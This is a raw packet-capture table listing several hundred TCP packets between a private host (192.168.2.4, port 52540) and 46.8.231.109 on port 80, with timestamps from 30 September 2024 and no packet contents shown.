Sep 30, 2024 12:22:54.701908112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.701961040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.701961040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781497002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781550884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781553030 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781569958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781582117 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781593084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781604052 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781605005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781625032 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781641006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781656027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781688929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781697989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781719923 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781748056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781759024 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781902075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781918049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781930923 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781939983 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781941891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781954050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781960011 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.781964064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.781981945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782005072 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782043934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782077074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782098055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782114983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782126904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782149076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782155037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782179117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782196999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782217026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782227039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782238960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782247066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782248020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782264948 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782294989 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782438040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782459974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782470942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782476902 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782489061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782500029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782509089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782547951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782558918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782581091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782589912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782658100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782668114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782702923 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782707930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782717943 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782743931 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782766104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782785892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782804012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782819986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782829046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782846928 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782872915 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782883883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782886982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782907963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.782907963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782927036 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782946110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.782998085 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783013105 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783025980 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783046007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783057928 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783061028 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783313990 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783653975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783664942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783675909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783696890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783711910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783720016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783721924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.783749104 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.783765078 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786437035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786479950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786489964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786499977 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786530972 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786555052 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786607981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786623955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786636114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786648989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786664009 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786669016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786669016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786674023 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786684990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786695004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.786703110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.786729097 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.862842083 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862855911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862867117 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862884045 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862895966 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862904072 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.862910986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.862930059 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.862951994 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.862988949 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863054991 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863065004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863080025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863107920 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863542080 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863552094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863569021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863579988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863588095 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863593102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863612890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863615990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863634109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863657951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863773108 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863781929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863791943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863802910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863809109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863837004 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863923073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863934040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863943100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863965988 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863986015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.863986969 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.863996983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864029884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864054918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864087105 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864092112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864103079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864111900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864121914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864130020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864140034 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864168882 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864211082 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864231110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864242077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864248037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864259958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864279985 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864325047 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864337921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864345074 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864373922 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864413023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864450932 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864465952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864481926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864491940 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864496946 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864504099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864506960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864526033 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864557981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864577055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864587069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864598036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864605904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864634991 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864689112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864701986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864715099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864738941 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864756107 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864804983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864880085 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864891052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864901066 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864942074 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.864949942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864949942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864949942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864981890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.864990950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865000963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865010977 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865024090 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865025997 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865053892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865195990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865206003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865222931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865287066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865287066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865293026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865308046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865319014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865323067 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865329981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865350962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865365982 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865380049 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865412951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865590096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865608931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865618944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865657091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865657091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865705967 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865716934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865726948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865737915 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865746021 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865772963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865798950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865835905 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.865839958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865853071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.865888119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.871985912 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872029066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872078896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872091055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872102976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872117043 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872119904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872128963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872144938 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872152090 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872163057 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872168064 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872174978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872195005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872208118 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872219086 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872226954 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872231960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872247934 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872253895 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872272968 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872301102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872340918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872358084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872390985 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872404099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872416019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872438908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872448921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872448921 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872473955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872474909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872486115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872505903 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872531891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872535944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872546911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872570038 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872585058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872944117 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872976065 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.872987986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.872998953 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873016119 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873025894 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873034954 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873039007 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873051882 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873078108 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873078108 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873090982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873105049 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873135090 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873265028 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873275042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873298883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873316050 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873368025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873380899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873397112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873404980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873408079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873414040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873419046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873430014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.873435020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.873461962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.874138117 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.874181032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.874181986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.874193907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.874226093 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944086075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944103956 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944117069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944135904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944149017 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944158077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944164991 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944197893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944221020 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944283009 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944302082 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944315910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944330931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944333076 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944345951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944358110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944359064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944376945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944407940 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944566965 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944612026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944616079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944632053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944664001 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944689989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944705009 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.944717884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.944744110 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:54.953996897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:54.954009056 CEST	80	52540	46.8.231.109	192.168.2.4
